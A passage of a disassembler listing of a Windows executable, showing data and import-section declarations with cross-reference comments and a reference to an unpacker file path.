sub_406D34+7Ew ... dword_44D068 dd 0 ; DATA XREF: sub_41299C+11Ew ; sub_412B83+53r ... dword_44D06C dd 0 ; DATA XREF: sub_402994+122w ; sub_402994+242w ... byte_44D070 db 0 ; DATA XREF: sub_40C22A+91o ; sub_40C50A+3367r ... align 4 dd 2177h dup(0) db 3 dup(0) byte_455653 db 0 ; DATA XREF: .data:00443810o dd 3Fh dup(0) db 3 dup(0) byte_455753 db 0 ; DATA XREF: .data:00443818o dd 3EFCh dup(0) db 0 byte_465345 db 3 dup(0) ; DATA XREF: .data:00443B54o dd 3FFFh dup(0) db 0 byte_475345 db 3 dup(0) ; DATA XREF: .data:00443970o dd 6B45h dup(0) dword_49005C dd 6E3h dup(0) ; DATA XREF: .data:off_43454Co ; .data:off_434560o dword_491BE8 dd 1Ch ; DATA XREF: sub_402853:loc_4028C1r ; sub_40BBCB+3Dw ... align 10h dword_491BF0 dd 0 ; DATA XREF: sub_40BBCB:loc_40C13Co dword_491BF4 dd 20h dup(0) ; DATA XREF: sub_40BBCB+509o ; sub_40BBCB+5C2o ... dword_491C74 dd 10h dup(0) ; DATA XREF: sub_40BBCB+520o dword_491CB4 dd 24h dup(0) ; DATA XREF: sub_40BBCB+537o dword_491D44 dd 0 ; DATA XREF: sub_40BBCB+52Bw ; sub_40BBCB+5D9w ... dword_491D48 dd 0 ; DATA XREF: sub_40BBCB+54Aw dd 3 dup(0) byte_491D58 db 0 ; DATA XREF: sub_40C392+28r ; sub_40C392+30o align 4 byte_491D5C db 0 ; DATA XREF: sub_40BBCB:loc_40C1C6r ; sub_40BBCB+609o align 10h dword_491D60 dd 0 ; DATA XREF: sub_40BBCB+61Fo dword_491D64 dd 0 ; DATA XREF: sub_40BBCB+631o dword_491D68 dd 0 ; DATA XREF: sub_40BBCB+576w ; sub_40BBCB+58Dr ... dword_491D6C dd 0 ; DATA XREF: sub_40BBCB+50Ew ; sub_40C50A+89Br dword_491D70 dd 0 ; DATA XREF: .data:0043E38Co dword_491D74 dd 0 ; DATA XREF: sub_40BBCB+24Do dword_491D78 dd 0 ; DATA XREF: sub_40C50A+6169o dword_491D7C dd 0 ; DATA XREF: sub_40C50A+5588o dword_491D80 dd 0 ; DATA XREF: sub_40C50A+50A1o dword_491D84 dd 0 ; DATA XREF: sub_40C50A+1C3Bo dword_491D88 dd 0 ; DATA XREF: sub_40C50A+1EC5o dword_491D8C dd 0 ; DATA XREF: sub_40C50A+3292o dword_491D90 dd 0 ; DATA XREF: sub_412C20:loc_412C41r ; sub_412D0F+54r ... dword_491D94 dd 0 ; DATA XREF: sub_412C20r ; sub_412D0F+37r ... dword_491D98 dd 0 ; DATA XREF: sub_412C50+1Ar ; sub_412E64+83o dword_491D9C dd 0 ; DATA XREF: sub_412C20:loc_412C34r ; sub_412E64+11Bw dword_491DA0 dd 0Dh dup(0) ; DATA XREF: sub_412D0F+13o ; sub_412E64:loc_412FA5o dword_491DD4 dd 0 ; DATA XREF: sub_412D0F+CDr ; sub_412D0F+ECr ... dd 0 dword_491DDC dd 0 ; DATA XREF: sub_412C88+9o dword_491DE0 dd 0 ; DATA XREF: sub_412E64+DFo dword_491DE4 dd 0 ; DATA XREF: sub_412E64:loc_412FA0o dword_491DE8 dd 0 ; DATA XREF: sub_416433+16o ; sub_416452+19o dword_491DEC dd 0 ; DATA XREF: sub_4163E6+3Do dword_491DF0 dd 0 ; DATA XREF: sub_41301C+146r align 8 dword_491DF8 dd 2 dup(0) ; DATA XREF: sub_41301C+139o dword_491E00 dd 0 ; DATA XREF: .text:0041370Ao dword_491E04 dd 0 ; DATA XREF: sub_413802+33o dword_491E08 dd 0 ; DATA XREF: sub_413802+63o dword_491E0C dd 81h dup(0) ; DATA XREF: sub_413913+8Do byte_492010 db 0 ; DATA XREF: sub_4147FB+6Ar ; sub_4147FB+98w align 8 dword_492018 dd 0Eh dup(0) ; DATA XREF: sub_415273+47o dword_492050 dd 2 dup(0) ; DATA XREF: sub_415430+13o byte_492058 db 0 ; DATA XREF: sub_415CF4+20Ar align 4 dword_49205C dd 950F60h ; DATA XREF: sub_416B00+262w ; sub_416F00:loc_41733Br ... dword_492060 dd 14C5h ; DATA XREF: sub_416B00:loc_416D13r ; sub_416B00+21Cw ... dword_492064 dd 946660h ; DATA XREF: sub_416B00:loc_416D49r ; sub_416B00+252r ... dword_492068 dd 110Ah ; DATA XREF: sub_416B00+222r ; sub_416B00+22Aw ... dword_49206C dd 110Ah ; DATA XREF: sub_416B00+235r ; sub_416B00+243w ... dword_492070 dd 0 ; DATA XREF: .text:0041A3C4r ; .text:0041A3CFw dword_492074 dd 0 ; DATA XREF: sub_41A330+10w dword_492078 dd 0 ; DATA XREF: sub_41ABD0+88r ; sub_41ABD0+F8w align 10h dword_492080 dd 0 ; DATA XREF: sub_41ABD0+7Dr ; sub_41ABD0+100w ... byte_492084 db 2 dup(0) ; DATA XREF: sub_41ABD0+109w word_492086 dw 0 ; DATA XREF: sub_41ABD0+52r dword_492088 dd 0 ; DATA XREF: sub_41ABD0+3Dr ; sub_41ABD0+112w ... dword_49208C dd 0 ; DATA XREF: sub_41ABD0+11Aw dword_492090 dd 0 ; DATA XREF: sub_4282A0+217r dword_492094 dd 0A28h ; DATA XREF: sub_418030:loc_418086r ; sub_41B970+2Cw ... dword_492098 dd 501h ; DATA XREF: sub_41B970+64w dword_49209C dd 5 ; DATA XREF: sub_41B970+4Fw ; sub_41B970+55r dword_4920A0 dd 1 ; DATA XREF: sub_41B970+3Ew ; sub_41B970+5Er dword_4920A4 dd 1 ; DATA XREF: sub_40BBCB:loc_40BEC0r ; sub_425390+C6w dword_4920A8 dd 950B00h ; DATA XREF: sub_40BBCB+2FEr ; sub_40BBCB+31Er ... align 10h dword_4920B0 dd 950A60h ; DATA XREF: sub_425240+7Bw ; sub_425240+81r ... dword_4920B4 dd 0 ; DATA XREF: sub_430740+49r dword_4920B8 dd 0 ; DATA XREF: sub_42F770+24r ; sub_430240+6r ... align 10h off_4920C0 dd offset aCM_unpackerPac ; DATA XREF: sub_425390+26w ; sub_425390+3Cr ; "C:\\m_unpacker\\packed.exe" align 8 byte_4920C8 db 0 ; DATA XREF: sub_41B390+30w ; sub_421210+8r align 4 dword_4920CC dd 0 ; DATA XREF: sub_41B390:loc_41B3B3w dword_4920D0 dd 0 ; DATA XREF: sub_41B390+9r ; sub_41B390:loc_41B45Bw dword_4920D4 dd 0 ; DATA XREF: sub_41B390+95r ; sub_41B390+AFw dword_4920D8 dd 0 ; DATA XREF: sub_41B970+C3w ; sub_425240+1Br ... align 10h dword_4920E0 dd 0 ; DATA XREF: sub_41BAE0+3r ; sub_41BB10+3r ... dword_4920E4 dd 0 ; DATA XREF: sub_416A10+9r ; sub_416A30+Fr ... dword_4920E8 dd 0 ; DATA XREF: .text:0041BB4Er ; .text:0041BB59w ... align 10h dword_4920F0 dd 143E60h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_442C5Co dword_492108 dd 143DE8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_442C9Co dword_492120 dd 143E38h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_442C7Co dword_492138 dd 143E10h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_442C8Co dword_492150 dd 0 ; DATA XREF: sub_41BF80+93r ; sub_41BF80+C8w ... dword_492154 dd 0 ; DATA XREF: sub_421980:loc_421C45r ; sub_421980+2CEw ... dword_492158 dd 1 ; DATA XREF: sub_422F40+26r ; sub_422F40+4Bw ... dword_49215C dd 0 ; DATA XREF: sub_423930+C7o ; sub_423930+140o word_492160 dw 0 ; DATA XREF: sub_423930+E8r align 4 dword_492164 dd 0 ; DATA XREF: sub_423930+EFw ; sub_423930+159o dword_492168 dd 0 ; DATA XREF: sub_423690+82r ; sub_423690+DDw ... align 10h dword_492170 dd 0 ; DATA XREF: sub_41A5E0+Dr ; sub_41A5E0:loc_41A676r ... dword_492174 dd 0 ; DATA XREF: sub_42A430+4r dword_492178 dd 0 ; DATA XREF: sub_42A100+18r dword_49217C dd 0 ; DATA XREF: sub_429780+4r dword_492180 dd 0 ; DATA XREF: sub_41B0E0+B9r ; sub_41B0E0+16Cr ... dword_492184 dd 0 ; DATA XREF: sub_423690+11Fw dword_492188 dd 0 ; DATA XREF: sub_423FC0+A6r ; sub_423FC0+C9w ... align 10h dword_492190 dd 1 ; DATA XREF: sub_4241C0:loc_4244D2r ; sub_424510+3w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_425390+19o ; sub_425390+26o ... align 10h dd 3Ah dup(0) dword_492298 dd 1 ; DATA XREF: sub_4258A0+14r ; sub_4258A0+2Cw ... dword_49229C dd 0 ; DATA XREF: sub_426060+2Br ; sub_426060+34r dword_4922A0 dd 0 ; DATA XREF: .text:loc_426666r ; .text:00426672w ... dword_4922A4 dd 0 ; DATA XREF: .text:loc_42667Ar ; .text:00426685w ... dword_4922A8 dd 0 ; DATA XREF: .text:loc_42668Dr ; .text:00426699w ... dword_4922AC dd 0 ; DATA XREF: .text:loc_4266A0r ; .text:004266ACw ... dword_4922B0 dd 0 ; DATA XREF: .text:loc_4265FAr ; .text:00426615w dword_4922B4 dd 0 ; DATA XREF: sub_426B40+Dr ; sub_426B40+39w ... dword_4922B8 dd 0 ; DATA XREF: sub_426B40+5Aw ; sub_426B40:loc_426BB3r ... dword_4922BC dd 0 ; DATA XREF: sub_426B40+6Ew ; sub_426B40+8Br ... dword_4922C0 dd 1 ; DATA XREF: sub_426F40+26r ; sub_426F40+46w ... dword_4922C4 dd 0 ; DATA XREF: sub_421980+9r dword_4922C8 dd 0 ; DATA XREF: sub_429780+75r ; sub_429780+86r ... dword_4922CC dd 0 ; DATA XREF: sub_42A100+25o ; sub_42A100+93r ... dword_4922D0 dd 0 ; DATA XREF: sub_42A100+42o ; sub_42A100+A3r ... dword_4922D4 dd 0 ; DATA XREF: sub_42A100+5Fo ; sub_42A100+7Cr ... dword_4922D8 dd 0 ; DATA XREF: sub_42A430+A0r ; sub_42A430+B1r ... dword_4922DC dd 0 ; DATA XREF: sub_42A890+2AAr ; sub_42A890+2B5r ... dword_4922E0 dd 0 ; DATA XREF: sub_42A890+2CCr ; sub_42A890+2D7r ... dword_4922E4 dd 3 dup(0) ; DATA XREF: sub_423690+94o ; sub_423690+F3o word_4922F0 dw 0 ; DATA XREF: sub_42A890+36r align 8 word_4922F8 dw 0 ; DATA XREF: sub_42A560+Fr align 4 db 2 dup(0) word_4922FE dw 0 ; DATA XREF: sub_42A100+Fr db 2 dup(0) word_492302 dw 0 ; DATA XREF: sub_429860+Fr word_492304 dw 0 ; DATA XREF: sub_429860+1Ar align 4 dword_492308 dd 0 ; DATA XREF: sub_42ACC0+155r ; sub_42ACC0+176r ... dword_49230C dd 0 ; DATA XREF: sub_42AF50+37w ; sub_42B010+1Br ... dword_492310 dd 0 ; DATA XREF: sub_42AF50+6Ew ; sub_42B010+101r ... dword_492314 dd 0 ; DATA XREF: sub_42AF50+1Aw ; sub_42AF50+47r ... dword_492318 dd 0 ; DATA XREF: sub_42ACC0+45w ; sub_42ACC0+4Br ... dword_49231C dd 0 ; DATA XREF: sub_42ACC0+7Aw ; sub_42ACC0+80r ... dword_492320 dd 0 ; DATA XREF: sub_42ACC0:loc_42AD69w ; sub_42ACC0:loc_42ADCEr ... dword_492324 dd 0 ; DATA XREF: sub_42ACC0+182r ; sub_42ACC0+1CBr ... dword_492328 dd 0 ; DATA XREF: sub_42ACC0+6r ; sub_42ACC0+2Cw ... align 10h dword_492330 dd 0 ; DATA XREF: sub_42BAC0+17w ; sub_42BAC0+6Dw ... align 8 dword_492338 dd 0 ; DATA XREF: sub_42BAC0+59o ; sub_42BAC0+77r dword_49233C dd 10h dup(0) ; DATA XREF: sub_42BAC0+103o word_49237C dw 0 ; DATA XREF: sub_42BEA0+FCr word_49237E dw 0 ; DATA XREF: sub_42BAC0+88r ; sub_42BEA0+145r ... word_492380 dw 0 ; DATA XREF: sub_42BEA0+132r word_492382 dw 0 ; DATA XREF: sub_42BEA0+13Br ; sub_42BEA0+18Br word_492384 dw 0 ; DATA XREF: sub_42BEA0+126r ; sub_42BEA0+181r word_492386 dw 0 ; DATA XREF: sub_42BEA0+11Cr ; sub_42BEA0+177r word_492388 dw 0 ; DATA XREF: sub_42BEA0+113r ; sub_42BEA0+16Er word_49238A dw 0 ; DATA XREF: sub_42BEA0+109r ; sub_42BEA0+164r dword_49238C dd 0 ; DATA XREF: sub_42BAC0+93r ; sub_42BAC0+CEr dword_492390 dd 10h dup(0) ; DATA XREF: sub_42BAC0+149o word_4923D0 dw 0 ; DATA XREF: sub_42BEA0+43r word_4923D2 dw 0 ; DATA XREF: sub_42BAC0+ABr ; sub_42BEA0+8Cr ... word_4923D4 dw 0 ; DATA XREF: sub_42BEA0+79r word_4923D6 dw 0 ; DATA XREF: sub_42BEA0+82r ; sub_42BEA0+D2r word_4923D8 dw 0 ; DATA XREF: sub_42BEA0+6Dr ; sub_42BEA0+C8r word_4923DA dw 0 ; DATA XREF: sub_42BEA0+63r ; sub_42BEA0+BEr word_4923DC dw 0 ; DATA XREF: sub_42BEA0+5Ar ; sub_42BEA0+B5r word_4923DE dw 0 ; DATA XREF: sub_42BEA0+50r ; sub_42BEA0+ABr dword_4923E0 dd 0 ; DATA XREF: sub_42BAC0+B6r ; sub_42BAC0+C9r dword_4923E4 dd 0 ; DATA XREF: sub_42BAC0+18Dr ; sub_42BAC0+196r ... dword_4923E8 dd 0 ; DATA XREF: sub_42BA60+3r ; sub_42BA60+16r ... dword_4923EC dd 0 ; DATA XREF: sub_4282A0:loc_4282FCr byte_4923F0 db 0 ; DATA XREF: sub_42F050+18Fo ; sub_42F050+1F2r ... align 8 dword_4923F8 dd 0 ; DATA XREF: sub_42A7F0+11o ; .data:off_4440A4o ... dword_4923FC dd 0 ; DATA XREF: sub_42F2F0+26r ; sub_42F2F0+46w ... dword_492400 dd 0 ; DATA XREF: sub_42FEA0+26r ; sub_42FEA0+41w ... dword_492404 dd 0 ; DATA XREF: sub_430040+26r ; sub_430040+41w ... dword_492408 dd 0 ; DATA XREF: sub_4302F0+26r ; sub_4302F0+4Bw ... dword_49240C dd 0 ; DATA XREF: sub_431390+26r ; sub_431390+4Bw ... dword_492410 dd 0 ; DATA XREF: sub_42E1D0+8Fw ; sub_42E1D0+A4w ... dword_492414 dd 0 ; DATA XREF: sub_42E360+1C4w ; sub_42E360+1EDw ... align 10h dword_492420 dd 9461C8h ; DATA XREF: sub_41E810+1EBr ; sub_4210E0+EDr ... dd 3Fh dup(0) dword_492520 dd 20h ; DATA XREF: sub_421310+7r ; sub_421E90+7r ... dword_492524 dd 4E4h ; DATA XREF: sub_4241C0+22r ; sub_4241C0+14Aw ... align 10h word_492530 dw 0 ; DATA XREF: sub_4241C0+19Aw ; sub_4241C0+2F3w ... align 4 dd 2 dup(0) dword_49253C dd 0 ; DATA XREF: sub_4241C0+150w ; sub_4241C0+2C2w ... byte_492540 db 0 ; DATA XREF: sub_424670+1CEw ; sub_424670+21Aw ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_492640 db 0 ; DATA XREF: sub_4241C0+ABw ; sub_4241C0+1F4w ... byte_492641 db 0 ; DATA XREF: sub_41B4D0+92r ; sub_4241C0+129r ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_492744 dd 0 ; DATA XREF: sub_4241C0+169w ; sub_4241C0+205w ... dword_492748 dd 0 ; DATA XREF: sub_41A5E0+68r ; sub_41AE40+32r ... dword_49274C dd 0 ; DATA XREF: sub_41A5E0:loc_41A63Do ; sub_41A5E0+71o ... dword_492750 dd 946680h ; DATA XREF: sub_4210E0+48w ; sub_4210E0+4Dr ... align 10h dword_492760 dd 400h dup(0) ; DATA XREF: .data:off_442F80o ; .data:00442F88o dword_493760 dd 200h ; DATA XREF: sub_4210E0+4r ; sub_4210E0+Dw ... dword_493764 dd 10h ; DATA XREF: sub_41CAE0+48w ; sub_41D710+9r ... dword_493768 dd 0 ; DATA XREF: sub_41CC00+475r ; sub_41CC00+4A4r ... dword_49376C dd 941E90h ; DATA XREF: sub_41CAE0+2Ew ; sub_41CC00+5B2w ... dword_493770 dd 0 ; DATA XREF: sub_41CAE0+34w ; sub_41CC00+468r ... dword_493774 dd 1 ; DATA XREF: .text:0041CA33r ; sub_41CAE0+3Ew ... dword_493778 dd 941E90h ; DATA XREF: .text:0041CA16r ; .text:loc_41CA86r ... dword_49377C dd 940000h ; DATA XREF: sub_418030+76r ; sub_41BDF0+5Cr ... dword_493780 dd 0 ; DATA XREF: .text:0041BF64r ; .text:0041BF6Fw ... dword_493784 dd 142340h ; DATA XREF: sub_41B970+B9w ; sub_425180:loc_425192r ... dword_493788 dd 1 ; DATA XREF: sub_425240+13Bw ; sub_42F770+Er dword_49378C dd 1 ; DATA XREF: sub_4249A0+3r ; sub_4249A0+16w ... dword_493790 dd 0 ; DATA XREF: sub_41B390+45r dword_493794 dd 0 ; DATA XREF: sub_41B390+3Cr ; sub_41B390+5Ar dword_493798 dd 0 ; DATA XREF: .text:004181B4r ; .text:004181BFw ... align 1000h _data ends ; Section 4. (virtual address 00094000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00094000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata segment para public 'DATA' use32 assume cs:_idata ;org 494000h dd 9424Ch, 3 dup(0) dd 944A0h, 9403Ch, 3 dup(0) dd 94290h, 5 dup(0) dd 9490Ch, 94E30h, 94E1Eh, 94E0Ch, 94DFAh, 94DEAh, 94DD4h dd 94DBEh, 94DACh, 94D9Ch, 94D88h, 94D78h, 94D66h, 94D54h dd 94D48h, 94D3Ah, 94D28h, 944F0h, 94506h, 9450Eh, 9451Ah dd 94528h, 94534h, 94548h, 94556h, 94566h, 94576h, 9458Ch dd 9459Ah, 945B2h, 945CAh, 945DAh, 94602h, 9461Ah, 9462Ah dd 9463Ch, 9464Ah, 94660h, 9467Ah, 94696h, 946A4h, 946B6h dd 946C2h, 946D2h, 946E4h, 946F2h, 9470Ch, 9471Eh, 9472Eh dd 9473Ah, 94746h, 94758h, 94770h, 9478Ah, 9479Ch, 947B0h dd 947C0h, 947CEh, 947E0h, 947F2h, 94808h, 9481Ch, 9482Eh dd 9483Eh, 9484Ch, 9485Eh, 9486Eh, 94884h, 94892h, 948A0h dd 948BCh, 948D2h, 948E2h, 948F8h, 94920h, 94934h, 94940h dd 9494Eh, 94964h, 94970h, 94986h, 94996h, 949A8h, 949B4h dd 949CAh, 949DAh, 949ECh, 949FAh, 94A12h, 94A24h, 94A34h dd 94A48h, 94A62h, 94A7Eh, 94A94h, 94AA4h, 94AB4h, 94AC4h dd 94ADCh, 94AF4h, 94B0Eh, 94B1Eh, 94B30h, 94B42h, 94B50h dd 94B6Ch, 94B7Ch, 94B8Ah, 94B9Ah, 94BB0h, 94BBEh, 94BCCh dd 94BDAh, 94BE8h, 94BF8h, 94C0Eh, 94C1Ch, 94C28h, 94C32h dd 94C42h, 94C50h, 94C64h, 94C74h, 94C84h, 94C90h, 94C9Ah dd 94CA6h, 94CC2h, 94CDCh, 94CF6h, 94D0Eh, 0 dd 10h dup(80000000h), 0 dword_494290 dd 930000h ; DATA XREF: sub_40B487+Cr ; sub_412E64+79r ... dword_494294 dd 930010h ; DATA XREF: sub_430740+2C5r ; .text:00430FECr dword_494298 dd 930020h ; DATA XREF: sub_4302F0+41r ; sub_4302F0+3DAr ... dword_49429C dd 93003Dh ; DATA XREF: sub_4302F0+69r ; sub_4302F0+D9r ... dword_4942A0 dd 930058h ; DATA XREF: sub_42FEA0+37r ; sub_42FEA0+8Br ... dword_4942A4 dd 930068h ; DATA XREF: sub_42C610+1D8r ; .text:00430FD4r dword_4942A8 dd 930077h ; DATA XREF: sub_42B5E0+12r ; .text:00430FCEr dword_4942AC dd 930086h ; DATA XREF: sub_42AF50+7Ar ; sub_42B340+53r ... dword_4942B0 dd 9300ABh ; DATA XREF: sub_42ACC0+142r ; .text:00430FC2r dword_4942B4 dd 9300C9h ; DATA XREF: sub_42ACC0+15Cr ; .text:00430FBCr dword_4942B8 dd 9300D8h ; DATA XREF: sub_428180+7Fr ; .text:00430FB6r dword_4942BC dd 9300F6h ; DATA XREF: sub_427DA0+58r ; sub_427DA0+66r ... dword_4942C0 dd 930106h ; DATA XREF: sub_426F40+3Cr ; sub_426F40+19Er ... dword_4942C4 dd 930117h ; DATA XREF: sub_426F40+61r ; sub_426F40+AAr ... dword_4942C8 dd 930125h ; DATA XREF: sub_430F9Er dword_4942CC dd 930133h ; DATA XREF: sub_425AC0+1E6r ; sub_425AC0+29Br ... dword_4942D0 dd 930144h ; DATA XREF: sub_425AC0+31Ar ; .text:00430F92r dword_4942D4 dd 930154h ; DATA XREF: sub_401000+66r ; sub_4010E6+65r ... dword_4942D8 dd 930164h ; DATA XREF: sub_4010E6+A9r ; sub_4013F1+2C2r ... dword_4942DC dd 930181h ; DATA XREF: sub_4013F1+135r ; sub_40465D+271r ... dword_4942E0 dd 93019Ch ; DATA XREF: sub_4013F1+120r ; sub_4013F1+150r ... dword_4942E4 dd 9301ACh ; DATA XREF: sub_4013F1+103r ; sub_403948+1B0r ... dword_4942E8 dd 9301BBh ; DATA XREF: sub_4013F1+E9r ; .text:00430CFEr dword_4942EC dd 9301CAh ; DATA XREF: sub_4013F1+68r ; sub_403948+196r ... dword_4942F0 dd 9301EFh ; DATA XREF: sub_402994:loc_402AD0r ; sub_402994:loc_402BF4r ... dword_4942F4 dd 93020Dh ; DATA XREF: sub_402994+10Er ; sub_402994+22Dr ... dword_4942F8 dd 93021Ch ; DATA XREF: sub_402994+58r ; sub_402994+177r ... dword_4942FC dd 93023Ah ; DATA XREF: sub_403076+20Er ; sub_40328A+23Fr ... dword_494300 dd 93024Ah ; DATA XREF: sub_403076+13Fr ; sub_41BD30+Er ... dword_494304 dd 93025Bh ; DATA XREF: sub_403076+D4r ; sub_41BC90+8Dr ... dword_494308 dd 930269h ; DATA XREF: sub_403076+32r ; sub_404C3D+27r ... dword_49430C dd 930277h ; DATA XREF: sub_40328A+77r ; .text:00430D34r dword_494310 dd 930288h ; DATA XREF: sub_40328A+6Br ; sub_40328A+22Fr ... dword_494314 dd 930298h ; DATA XREF: sub_4035E1+Dr ; sub_4084C8+Er ... dword_494318 dd 9302A8h ; DATA XREF: sub_40465D+259r ; sub_407C49+6Cr ... dword_49431C dd 9302C5h ; DATA XREF: sub_40465D+133r ; sub_407317+1EEr ... dword_494320 dd 9302E0h ; DATA XREF: sub_404A02+3Ar ; sub_405938+74r ... dword_494324 dd 9302F0h ; DATA XREF: sub_404CEF+18Cr ; sub_404CEF+2D4r ... dword_494328 dd 9302FFh ; DATA XREF: sub_404CEF+182r ; sub_414F67+FFr ... dword_49432C dd 93030Eh ; DATA XREF: sub_405084+478r ; sub_405938+DFr ... dword_494330 dd 930333h ; DATA XREF: sub_405084+462r ; sub_405938+A7r ... dword_494334 dd 930351h ; DATA XREF: sub_405B38+BAr ; sub_4075C7+5E8r ... dword_494338 dd 930360h ; DATA XREF: sub_405B38+AFr ; sub_405B38+139r ... dword_49433C dd 93037Eh ; DATA XREF: sub_405B38+26r ; sub_4075C7+1FCr ... dword_494340 dd 93038Eh ; DATA XREF: sub_405C86+170r ; .text:00430D82r dword_494344 dd 93039Fh ; DATA XREF: sub_405C86+BCr ; .text:00430D88r dword_494348 dd 9303ADh ; DATA XREF: sub_405C86+60r ; sub_40888A+11r ... dword_49434C dd 9303BBh ; DATA XREF: sub_405C86+5Ar ; sub_40888A+13Ar ... dword_494350 dd 9303CCh ; DATA XREF: sub_405E58+41r ; sub_405E58+F5r ... dword_494354 dd 9303DCh ; DATA XREF: sub_405E58+21r ; sub_405FE1+4Ar ... dword_494358 dd 9303ECh ; DATA XREF: sub_405E58+10r ; sub_405FE1+40r ... dword_49435C dd 930409h ; DATA XREF: sub_405FE1+135r ; sub_4075C7+27Br ... dword_494360 dd 930424h ; DATA XREF: sub_405FE1+123r ; sub_4075C7+26Dr ... dword_494364 dd 930434h ; DATA XREF: sub_405FE1+88r ; sub_406188+55r ... dword_494368 dd 930443h ; DATA XREF: sub_405FE1+56r ; sub_406188+97r ... dword_49436C dd 930452h ; DATA XREF: sub_405FE1+34r ; sub_406188+2Er ... dword_494370 dd 930477h ; DATA XREF: sub_405FE1+15r ; sub_406188+13r ... dword_494374 dd 930495h ; DATA XREF: sub_407195+9Fr ; sub_415430+1B6r ... dword_494378 dd 9304A4h ; DATA XREF: sub_407195+8Br ; sub_415430+19Fr ... dword_49437C dd 9304C2h ; DATA XREF: sub_407317+110r ; sub_409D2E+10Fr ... dword_494380 dd 9304D2h ; DATA XREF: sub_40888A+2r ; sub_409D2E+FBr ... dword_494384 dd 9304E3h ; DATA XREF: sub_409AA0+2Dr ; .text:00430DE8r dword_494388 dd 9304F1h ; DATA XREF: sub_409B2A+26r ; .text:00430DEEr dword_49438C dd 9304FFh ; DATA XREF: sub_409B2A+1Dr ; .text:00430DF4r dword_494390 dd 930510h ; DATA XREF: sub_409B65+6Cr ; .text:00430DFAr dword_494394 dd 930520h ; DATA XREF: sub_409B65+39r ; .text:00430E00r dword_494398 dd 930530h ; DATA XREF: sub_409B65+28r ; .text:00430E06r dword_49439C dd 93054Dh ; DATA XREF: sub_409BEA+96r ; .text:00430E0Cr dword_4943A0 dd 930568h ; DATA XREF: sub_409BEA+60r ; .text:00430E12r dword_4943A4 dd 930578h ; DATA XREF: sub_409D2E+15Dr ; .text:00430E18r dword_4943A8 dd 930587h ; DATA XREF: sub_409D2E+126r ; sub_40BBCB+1B5r ... dword_4943AC dd 930596h ; DATA XREF: sub_409D2E+35r ; sub_40C50A+3E60r ... dword_4943B0 dd 9305BBh ; DATA XREF: sub_40A359+13r ; sub_422F40+2A5r ... dword_4943B4 dd 9305D9h ; DATA XREF: sub_40AD78+34r ; .text:00413603r ... dword_4943B8 dd 9305E8h ; DATA XREF: sub_40B4F2+113r ; sub_40B4F2+22Fr ... dword_4943BC dd 930606h ; DATA XREF: sub_40B4F2+DEr ; .text:00430E42r dword_4943C0 dd 930616h ; DATA XREF: sub_40BBCB+33Br ; sub_40C50A+4AD5r ... dword_4943C4 dd 930627h ; DATA XREF: sub_40BBCB+267r ; .text:00430E4Er dword_4943C8 dd 930635h ; DATA XREF: sub_40BBCB:loc_40BD86r ; .text:00430E54r dword_4943CC dd 930643h ; DATA XREF: sub_40BBCB+6Br ; sub_40BBCB+311r ... dword_4943D0 dd 930654h ; DATA XREF: sub_40BBCB+64r ; .text:00430E60r dword_4943D4 dd 930664h ; DATA XREF: sub_40C50A+4D5Dr ; sub_41416C+9Fr ... dword_4943D8 dd 930674h ; DATA XREF: sub_40C50A+3C5Cr ; .text:00430E6Cr dword_4943DC dd 930691h ; DATA XREF: sub_412D0F+5Ar ; .text:00430E72r dword_4943E0 dd 9306ACh ; DATA XREF: sub_412D0F+3Dr ; .text:00430E78r dword_4943E4 dd 9306BCh ; DATA XREF: sub_412E64+91r ; sub_4143B6+77r ... dword_4943E8 dd 9306CBh ; DATA XREF: sub_412E64+37r ; sub_4142BD+23r ... dword_4943EC dd 9306DAh ; DATA XREF: sub_4132AA+5Fr ; .text:0042660Ar ... dword_4943F0 dd 9306FFh ; DATA XREF: .text:004136A5r ; sub_42ACC0+18r ... dword_4943F4 dd 93071Dh ; DATA XREF: .text:00413719r ; sub_4152DC+1Dr ... dword_4943F8 dd 93072Ch ; DATA XREF: sub_413E55+1EAr ; .text:00430E9Cr dword_4943FC dd 93074Ah ; DATA XREF: sub_41416C+C7r ; .text:00430EA2r dword_494400 dd 93075Ah ; DATA XREF: sub_414541+5Er ; .text:00430EA8r dword_494404 dd 93076Bh ; DATA XREF: sub_415430+1CFr ; .text:00430EAEr dword_494408 dd 930779h ; DATA XREF: sub_417FE0+2Ar ; sub_41E130+19r ... dword_49440C dd 930787h ; DATA XREF: sub_417FE0+12r ; .text:00430EBAr dword_494410 dd 930798h ; DATA XREF: sub_418030+7Cr ; sub_41C930+39r ... dword_494414 dd 9307A8h ; DATA XREF: sub_41A5E0+76r ; sub_41A5E0+B6r ... dword_494418 dd 9307B8h ; DATA XREF: sub_41A5E0+62r ; sub_41AE40+2Cr ... dword_49441C dd 9307D5h ; DATA XREF: sub_41ABD0+9Fr ; sub_42BAC0+5Er ... dword_494420 dd 9307F0h ; 